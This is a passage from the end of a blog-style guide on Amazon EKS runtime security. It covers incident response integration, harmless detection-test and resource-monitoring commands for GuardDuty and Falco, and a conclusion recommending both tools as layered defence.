4. Integrate with Incident Response
Detection without response is just logging. Ensure both tools feed into an automated response pipeline:
- Automated pod isolation via NetworkPolicy when critical alerts fire
- Forensic capture of pod state before termination
- Automatic ticket creation in your incident management system
- Runbook triggering via Step Functions for common attack patterns
5. Test Your Detection
Deploy attack simulation tools to validate both GuardDuty and Falco catch what they should:
1
2
3
4
5
6
7
8
# Test cryptomining detection (safe - just the binary name, no actual mining)
kubectl run test-detection --image=alpine --rm -it --restart=Never -- \
sh -c "echo 'Testing detection' && sleep 5"
# Use GuardDuty sample findings for testing
aws guardduty create-sample-findings \
--detector-id $(aws guardduty list-detectors --query 'DetectorIds[0]' --output text) \
--finding-types "CryptoCurrency:Runtime/BitcoinTool.B"
6. Monitor the Monitors
Both tools consume resources on your nodes. Track their overhead:
1
2
3
4
5
# Check Falco resource consumption
kubectl top pods -n falco
# Check GuardDuty agent resource consumption
kubectl top pods -n amazon-guardduty
Related Articles
- AWS Lambda Security: Building Automated Threat Detection Systems – Extend your detection pipeline with serverless response functions
- AWS Cloud Security Best Practices Implementation Guide – Comprehensive guide covering the full AWS security stack
- AWS IAM Zero Trust: Identity and Network Deep Dive – Implement zero-trust identity controls for your EKS workloads
Conclusion
EKS runtime security is not a “choose one” decision – it is a layered defense problem. AWS GuardDuty EKS Runtime Monitoring delivers managed threat detection with zero operational overhead, multi-stage attack correlation, and deep AWS service integration. Falco delivers custom rules, multi-cloud portability, full transparency, and community-driven detection at the cost of operational responsibility.
The strongest security posture combines both: GuardDuty as your always-on managed baseline, Falco as your application-aware custom detection layer. Start with GuardDuty for immediate coverage, then invest in Falco rules that reflect your specific threat model.
The eBPF revolution has made kernel-level observability accessible to both managed services and open-source tools. The organizations that will weather the next wave of container attacks are those instrumenting their clusters at this level – not just scanning images and hoping for the best.
For personalized guidance on implementing EKS runtime security for your organization, connect with Jon Price on LinkedIn.